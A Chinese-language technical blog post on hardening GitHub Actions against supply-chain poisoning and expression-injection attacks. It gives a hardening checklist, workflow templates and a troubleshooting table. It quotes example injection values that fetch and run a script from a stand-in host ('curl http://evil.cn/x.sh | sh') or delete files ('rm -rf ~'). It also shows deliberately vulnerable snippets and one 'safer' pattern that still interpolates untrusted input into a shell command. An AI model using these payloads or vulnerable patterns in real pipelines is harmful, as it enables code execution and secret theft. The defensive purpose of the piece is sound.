前几天帮一个团队Review他们的CI配置打开主工作流文件扫了几眼后背就有点发凉里面直接用了一个第三方Action既没锁版本也没锁commit SHA默认给的是main分支紧接着的下一步竟然把GITHUB_TOKEN整个传给了另一个市场插件去做自动化发布。这还不是最吓人的——他们还把issue.title直接插进了run脚本里做消息推送。我当时就跟他们说你们这个流水线本质上已经等于把自己仓库的写权限和密钥库敞开放在了一个完全不受控的第三方进程面前。这不是危言耸听。GitHub Actions已经是现代开源协作和内部研发流程里绕不开的基础设施但它同时也是眼下供应链攻击最密集的突破口之一。从依赖投毒到恶意Action接管再到${{ }}表达式注入攻击面比大多数人想象的大得多。这篇文章不打算讲那种建议开启双因素认证的空话而是实打实拆解攻击原理给出可以直接抄回仓库里用的加固清单。1. 为什么供应链攻击盯上了GitHub Actions这块肥肉1.1 先搞清楚Actions的信任模型这是一切的前提很多人习惯把GitHub Actions当成一个能在GitHub上跑脚本的地方但它的实际运作方式比这复杂得多。一个工作流文件本质上是一个可执行的编排脚本它指定了运行环境、执行步骤以及每一步调用的代码来源。当一个工作流引用uses: someorg/some-actionmain时GitHub会把这个Action仓库的代码拉下来在你的项目上下文中直接执行。这意味着什么意味着任何能在那个Action仓库里写代码的人一旦他的改动进入了你指定的分支或标签他就能够在你的CI运行环境里执行任意命令。而这个CI运行环境默认携带了访问你仓库的GITHUB_TOKEN以及你显式配置的所有secrets。这不是如果你的密钥被泄露才会出问题而是你每用一次这个Action就主动把你的密钥递过去一次。更麻烦的是依赖链不是线性的。一个Action仓库自身又可以引用其他Action甚至它里面的代码还会去执行npm install、pip install把第三方依赖的代码引入运行环境。Actions社区的诸多实践比如一个几行代码的Action依赖了几百个npm包让攻击面呈指数级扩散。供应链攻击不需要直接攻破GitHub只要在任何一个热门Action的依赖链里埋一颗雷就能同时引爆成千上万个下游仓库。1.2 真实的投毒路径不只是有人传了个坏Action我梳理了几条最常见的攻击路径你在日常维护里大概率会踩到其中某一条。第一条是直接投毒。攻击者在GitHub Marketplace或者GitHub上发布一个免费、好用、功能贴心的Action吸引别人用起来。这类Action往往带有一副完全正常的面孔甚至README写得比官方文档还认真然后在某个版本更新时悄悄加入数据外传或代码注入逻辑。等使用者更新了依赖比如改了v1标签指向的最新commit恶意代码就随之进入CI。第二条是维护者账号失陷。攻击者通过钓鱼、撞库等方式拿下一个热门Action维护者的账号然后往仓库里推送恶意commit。这种攻击极具迷惑性仓库历史看起来完全正常所有提交都来自可信维护者社区无法提前察觉。第三条是标签漂移与标签劫持。很多人习惯用v1或者main这种动态引用来固定Action版本。这本身没有问题标签在语义上表示我们信任这个作者的最新代码。但它同时意味着你无法控制信任边界随时间的变化——今天这个标签指向的commit是安全的三个月后可能就指向一个被投毒的commit。第四条是依赖链间接攻击。许多Action本质上只是一个轻量壳子真正干活的是它拉下来的外部依赖。如果某个Action使用unpkg、npm或者Go Modules拉取运行依赖攻击者就能通过依赖混淆、域名接管、或者已被攻破的上游包来植入恶意代码。近年发生的诸多开源生态投毒事件很多都是从修改一个被广泛引用的底层小包开始的。1.3 为什么要特别警惕信任传递和审计盲区Actions的另一个隐患是信任传递难以追溯。当一个工作流同时使用官方Action、第三方发布者、社区维护的Action时实际上已经把自己的一只脚交给了十几个不同的上游。一旦出问题你很难定位是哪个环节被污染了。而且常规的安全审计通常只看工作流文件的写法很少人去逐行审查第三方Action的源码、它的依赖清单、以及它是否有向外部域名发起请求的行为。更关键的是CI日志往往只显示脚本的输出并不会显示Action内部的完整行为——一个Action在暗中执行了什么命令、访问了哪个网络地址你完全无从知晓。这就是供应链攻击在CI领域的可怕之处它伤害你但你根本不知道它在伤害你。2. 脚本注入漏洞你以为的变量替换其实是任意代码执行2.1${{ }}背后的执行哲学很多人觉得GitHub Actions里的${{ github.event.issue.title }}只是一次简单的模板字符串替换说人话就是把issue标题替换进命令行。如果你这么想那就离出安全事故不远了。GitHub Actions的表达式语法不做字符串拼接级别的转义。它在解析整个工作流文件时会把${{ }}内部的表达式先求值然后把求值结果直接嵌入到最终执行的命令里。这意味着如果某个值是从不可信来源issue标题、PR描述、评论内容、分支名、commit message等获取的攻击者就可以在这个值里写入任意内容这些内容会变成你要执行的命令的一部分。最常被拿来说明风险的例子是如果你在工作流里写了run: echo Issue title: ${{ github.event.issue.title }}然后有人提交一个标题为test; curl http://evil.cn/x.sh | sh; #的issue那么GitHub在运行时会先把github.event.issue.title求值为test; curl http://evil.cn/x.sh | sh; #然后组装成echo Issue title: test; curl http://evil.cn/x.sh | sh; #执行。因为${{ }}是在构建命令之前求值得出的所以攻击者利用分号、管道符、重定向符、反引号、$(...)这些Shell语法就能在CI里执行任意命令。更隐蔽的是由于这种注入发生在表达式求值层面有时候payload本身会被执行两次一次作为表达式一次作为命令。这种双阶段执行方式让很多人写常规的正则或者输入校验根本拦不住。2.2 注入的触发场景不只是Issue标题常见的触发场景比你想的多得多github.event.issue.title、github.event.pull_request.title、github.event.pull_request.bodygithub.event.comment.bodygithub.event.head_commit.message、github.head_ref、github.event.ref从外部API或Webhook返回的数据只要以${{ }}的形式塞进run脚本或某个Action的args中还有一种容易被忽略的情况是分支或标签名称本身。工作流通过ref参数或者条件判断承载分支名如果这个分支名是恶意构造的字符串比如test; rm -rf ~;#在某些脚本里就会触发同样的效果。2.3 注入导致的真实危害脚本注入严格来说不一定直接导致代码仓库篡改或密钥泄露但它是攻击者获取CI环境内权限的第一块跳板。一旦可以在CI里执行任意命令攻击者至少可以做到读取环境变量里配置的secrets窃取云凭据、API Key等机密信息或者利用GITHUB_TOKEN直接向仓库推送恶意commit、创建release、篡改标签。在自托管Runner上横向渗透。如果你是自建Runner跑在普通开发机或共享服务器上攻击者还可以探测宿主机上的文件、进程、内网服务进一步扩大战果。实施借刀杀人攻击者通过注入到某个上游维护者的仓库CI然后用该身份去推代码、发布版本污染下游所有用户。说到这你应该明白了防脚本注入不是小心别在echo里用变量这种小事它关乎整个CI安全模型。3. 防御的第一道防线净化输入不给注入留缝3.1 不要在run脚本里直接拼接不可信数据这是最核心的一条铁律。任何来源不受信任的值issue/PR标题、评论、分支名、release标题等绝不能直接放到run脚本的字符串里。先看一个典型错误- name: 推送评论到IM run: | curl -X POST https://im.example.com/hook -d message${{ github.event.issue.title }}这个写法对外部攻击者来说就是裸奔。正确做法是把不可信值先赋给环境变量环境变量的值由表达式求值结果明确控制然后在Shell里用变量引用完成拼接。- name: 推送评论到IM安全版 env: ISSUE_TITLE: ${{ github.event.issue.title }} run: | curl -X POST https://im.example.com/hook -d message${ISSUE_TITLE}看到区别了吗${{ }}这个语法只出现在env:字段中由GitHub的表达式引擎负责求值并把结果作为环境变量的值传给运行环境。Shell脚本内部只会看到ISSUE_TITLE这个变量变量值里的任何分号、引号、反引号都只是普通字符串不会触发命令执行。这背后的原理就是让表达式求值和命令解析两个阶段彻底分离开。表达式值的解析发生在Shell启动之前而Shell只负责处理已经成型的变量自然没有二次解释的机会。3.2 更稳妥的做法从标准输入读取环境变量方式已经能挡住绝大多数注入场景但如果是处理特别复杂或含有换行、特殊字符的大段文本比如PR描述、评论正文我建议直接从标准输入读取彻底避免Shell参数解析的麻烦。- name: 安全处理PR描述 env: PR_BODY: ${{ github.event.pull_request.body }} run: | cat EOF $PR_BODY EOF不错这看起来绕过了环境变量但实际上并没有完全规避风险如果PR_BODY里含有EOF这样的字符串还是会提前结束heredoc出现不可预期的拼接。更保险的做法是把数据写入文件再用工具读取- name: 把不可信数据写入文件 run: echo ${{ github.event.pull_request.body }} /tmp/pr_body.txt这里${{ }}仍然出现在命令拼接中不过它被双引号包住且内容写入的是文件一般不会导致命令解析。但为了彻底、干净最稳妥的方式是使用一个内置的、专门从标准输入读取的工具比如很多第三方Action已经提供了这种机制。如果没有那就回到env方案——至少它在绝大多数情况下都是安全的。3.3 结构化的条件判断而不是字符串匹配很多工作流需要在脚本里判断某个不可信值是否满足条件比如如果issue标题包含[Bug]则打标签。如果你写成这样if: contains(github.event.issue.title, [Bug])这其实没有执行风险因为if:的条件判断是由GitHub表达式引擎处理的不会构成Shell命令解析。但有些人会图省事把类似的判断放进run脚本if [[ ${{ github.event.issue.title }} *[Bug]* ]]这就又掉进坑里了。改用if:关键词或条件表达式既安全又直观。注意绝对不要试图通过转义特殊字符只过滤分号和反引号只允许字母数字之类的正则来保证输入安全。这类黑名单策略在命令注入面前基本都在交学费——你永远猜不到攻击者的下一种绕过写法是$(printf...)还是换行符配合sh -c或者是拿IFS变量做手脚。从架构上封死脚本拼接这条路才是真正的根治手段。提示凡是进入run:或Action的args:的不可信数据都要默认按恶意代码来处理。宁可不做花哨的拼接也不要给攻击者留出的一点点解释空间。4. 供应链加固你的流水线里到底跑了谁的代码4.1 锁版本用commit SHA代替标签和分支很多人喜欢写uses: actions/checkoutv4这算得上社区最流行的写法了。v4是一个可变标签作者可以随时将v4指向新的commit——这可以是bug修复也可以是一段恶意代码。我不反对跟进版式更新但CI作为供应链上最关键的执行环境必须遵循先审后更的原则。所以我的建议是在正式分支的CI里把Action引用改成一串完整的commit SHA。这样每次改动都可以精确追溯不会因为作者更新标签而被动改变行为。- uses: actions/checkoutv4 # 建议改为 - uses: actions/checkoutv4a103f044175b7a5965a7a7e5a4a5e177b3f6049d # 实际上 commit 格式准确写法是在uses:里只写{owner}/{repo}{sha}- uses: actions/checkouta103f044175b7a5965a7a7e5a4a5e177b3f6049d当然这会损失自动更新的便利性。所以用Dependabot或者Renovate这类自动化工具定期检测依赖更新并自动提交升级PR再由人工检查后合并。这样既享受锁定的确定性又不会因为忘了升级而长期停在有漏洞的旧版本上。4.2 校验与发布者验证不只是看星星数在看一个Action是否可靠时很多人习惯看GitHub仓库的Star数量。这有一定参考意义但远远不够——很多恶意Action也会刷Star而且即便是历史悠久的仓库也可能因为维护者账号失陷突然变坏。GitHub现在提供了几个官方/社区的安全信号值得充分利用Verified creator徽章如果Action已经过GitHub或发行方的验证会在市场页上显示Verified creator徽标表示该发布者的account可信度经过官方验证。第三方发布者如果通过验证至少能证明发布者身份是经过确认的而不是随手注册的小号。OpenSSF Scorecard这是开源安全领域比较权威的评分系统会基于仓库的代码审查、分支保护、依赖策略、贡献者权限等多个维度给出0到10的评分。建议把依赖的Action仓库都跑一遍Scorecard评分太低或缺失的就需要谨慎引入。许可证与代码风格粒度化的排查也很有价值——检查Action的仓库里有无明显多余的网络请求代码、有无拼错域名的外部调用、有无隐藏的base64内容。把它们读一遍通常不需要太久而这段投入能替你过滤掉大量钓鱼式Action。4.3 权限最小化把GITHUB_TOKEN的权限锁死提到Actions安全就不能不说GITHUB_TOKEN。它是GitHub自动注入到每个工作流中的临时令牌只对当前仓库有效权限由permissions字段控制默认是有写权限的。这意味着一个被注入的第三方Action在CI里就能直接向仓库推代码、开issue、新建release、修改workflow等。所以要养成一个习惯每个工作流文件都必须显式声明permissions把作用域收窄到最低需求。permissions: contents: read # 默认只需要读代码 issues: write # 如果确实需要打/关issue再单独开 pull-requests: write有些仓库还支持permissions: {}即完全禁用GITHUB_TOKEN权限。如果一个工作流只是做测试、编译或静态检查完全不需要token直接那样设置会有效降低被攻击时的破坏范围。同时要记住secrets不会自动跟随GITHUB_TOKEN的降权而消失。它们仍然在环境变量里只是是否可用取决于你是否显式传给了某个Step。所以尽量做到把最敏感的密钥云平台AK/SK、发布签名私钥配置成Environment级别并且只在对应用环境的Job里使用。不要给第三方Action传那些它根本用不上的秘密。考虑把DB连接串、API Key等核心秘密放在Azure Key Vault、AWS Secrets Manager这些外部托管服务里由工作流临时获取用完即扔而不是塞进GitHub Secrets长期暴露。4.4 自建Runner和安全隔离如果你的CI跑在自建Runner上风险又升了一级。自建Runner运行的代码如果在不隔离的环境里比如一台公用开发沙箱、一台内网Windows机器它天然可以访问同一台机器上的其他服务和文件。这相当于把CI执行任意代码的权限直接放大到了宿主机任意代码。要缓解这种风险我的建议是自建Runner尽量容器化用Docker隔离每个Job的执行环境。不要给自建Runner挂载宿主的完全权限跑工作流的Runner账号应当是一个低权限账号。专门为不同保密等级的计划分配独立的Runner组不要把生产环境密钥和普通PR测试跑在同一套Runner上。定期扫描自建Runner上的异常进程、异常外连域名有条件的话接入主机入侵检测系统。看到这里你应该理解了GitHub Actions的加固本质上是一个信任边界管理的系统工程不是装个插件单击一下就能完事。5. 实战中的完整加固模板照着改就能用5.1 一个带注释的工作流加固版本下面这个例子把前面聊到的所有防御思路集中体现出来。你可以直接把它当作自己的模板按需裁剪。name: ci-secure-template on: push: branches: [ main ] pull_request: permissions: contents: read # 默认只读代码 pull-requests: read # 按需放宽 jobs: build: runs-on: ubuntu-latest # 这一层是最重要的防线敏感secret只在需要的环境里才露出 environment: name: production # 如果这是发布类的任务请指定受保护环境 steps: # 所有非官方Action一律锁定commit SHA - name: Checkout uses: actions/checkouta103f044175b7a5965a7a7e5a4a5e177b3f6049d # 把不可信来源数据转入env绝不做Shell拼接 - name: Echo PR title防注入示范 env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo $PR_TITLE # 如果你真的需要向IM机器人推送也绝不要把token或secret暴露给第三方shell - name: Post message to IM示例 env: IM_WEBHOOK_URL: ${{ secrets.IM_WEBHOOK_URL }} PR_TITLE: ${{ github.event.pull_request.title }} shell: bash run: | curl -X POST $IM_WEBHOOK_URL \ --data-urlencode title${PR_TITLE}这段配置的核心改进点有三个显式permissions收敛token权限把不可信数据隔离到环境变量将关键secrets限定在特定环境字段内。表面上很朴素但已经能挡住绝大多数针对CI的供应链和脚本注入攻击。5.2 Dependabot Reviews让依赖更新也走正规军流程安全不是一次性的事依赖更新必须形成持续机制。我强烈建议在仓库里启用Dependabot同时通过group配置把Actions依赖和npm/pyPI依赖分开管理。给Dependabot开的PR不要直接自动合并应该至少强制一名维护者审核后再合并。# .github/dependabot.yml version: 2 updates: - package-ecosystem: github-actions directory: / schedule: interval: weekly groups: actions: patterns: - *在PR合并条件上加入至少一名协作者批准、必须通过安全审查这类分支保护规则能形成深度防御——即使某个更新包带了恶意代码也会在人工评审阶段优先暴露。5.3 给想更进一步的人审计、监控与应急响应加固到达一定程度后你会想弄清哪里正在跑我的代码。GitHub提供了几个官方视图值得利用安全日志(Security Log)展示所有与GitHub账号相关的安全事件包括登录、token创建、环境变更。审计日志(Audit Log)适用于组织和企业版能查看谁在什么时间改了workflow文件、谁动了environment、谁更新了secret这些事件都是审计合规的关键证据。Runner日志与运行历史主要围绕工作流运行的详细输出可以配合第三方日志审计平台做检索和告警。除了看还要有跑的能力。我建议在团队里准备一个应急预案如果发现某个Action发布者突然失联或仓库被清空怎么快速定位到哪些workflow引用了它、如何一键回滚到之前验证过的commit SHA、怎么轮换受影响的secrets。这套流程可以提前在纸面上推演一遍别等真出事那天才开始摸索。6. 常见问题速查那些年我们踩过的坑下面这份表格是我在实际帮人排查时反复用到的问题汇总按出现频率排序。如果你在加固CI时卡壳可以直接来这里找答案。常见问题根因分析推荐处理方式明明加了env和IFS还是能注入部分表达式值仍然直接嵌入到了run:命令里没有完全转交到环境变量把工作流里所有${{}}改造为环境变量赋值Shell端只读取变量uses:引用了一个不存在的commit SHA写错了地址或Action仓库已经force-push回退到之前验证过的commit并用Dependabot更新第三方Action在日志里出现异常网络请求大概率是被投毒了立即下线该Action审计所有依赖它的workflow并轮换所有暴露的secrets自建Runner上跑工作流后主机出现可疑进程可能是Runner权限过大或脚本注入导致逃逸停止该Runner做主机隔离和深度扫描重建Runner用容器化隔离明明设置了permissions: contents: readworkflow还能推代码可能是GITHUB_TOKEN被显式赋了更高的permissions检查每个Job和Step的env里是否又传了新的token优先移除Dependabot升了一版Action结果构建全挂升级后行为发生变化或新版本存在兼容性问题回退commit SHA在分支上先跑测试再合入mainsecrets在第三方Action里总是读不到token作用域或者环境未匹配检查environment字段确保证书和密钥在正确的环境级别这套速查表的思路就是出了事先问这个值是从哪儿来的这个代码是哪个commit的这个token为什么能碰它顺着链条就能找到根因。7. 写在最后我对Actions安全现状的真实感受坦白讲我在最开始Review那套CI的时候心里并不是找到bug的兴奋更多的是后怕。团队做了很多业务层面的安全投入却把整个代码供应链的执行中枢——GitHub Actions——放在了一个几乎裸奔的位置。我个人的经验总结下来就三条别让不可信数据走进命令拼接区别让第三方代码拿超过需要的权限别让版本更新绕过审查流程。这三条做到位已经能防住绝大多数攻击。但安全是动态攻防新的投毒手法层出不穷所以我也习惯每季度翻一次工作流文件看看几个重点Action有没有新的commit有没有维护者变更有没有新的网络行为。最后再分享一个没多久前踩到的坑我们一度把某个测试环境密钥直接配在了工作流的env顶层用一个第三方Action跑e2e测试。那个Action本身没有恶意但它会打印所有环境变量用于调试。日志归档系统又是对外开放的——结果等于把访问密钥贴在了公共论坛上。这事给我的教训是什么该传给Action什么不该传永远是你自己需要守住的那道门。不要高估任何第三方代码的自律更不要低估日志系统的泄露可能性。把这些边界管住GitHub Actions才能既高效又可信地成为你代码供应链里最坚实的一环而不是最脆弱的一环。
阅读完成 · 觉得有帮助?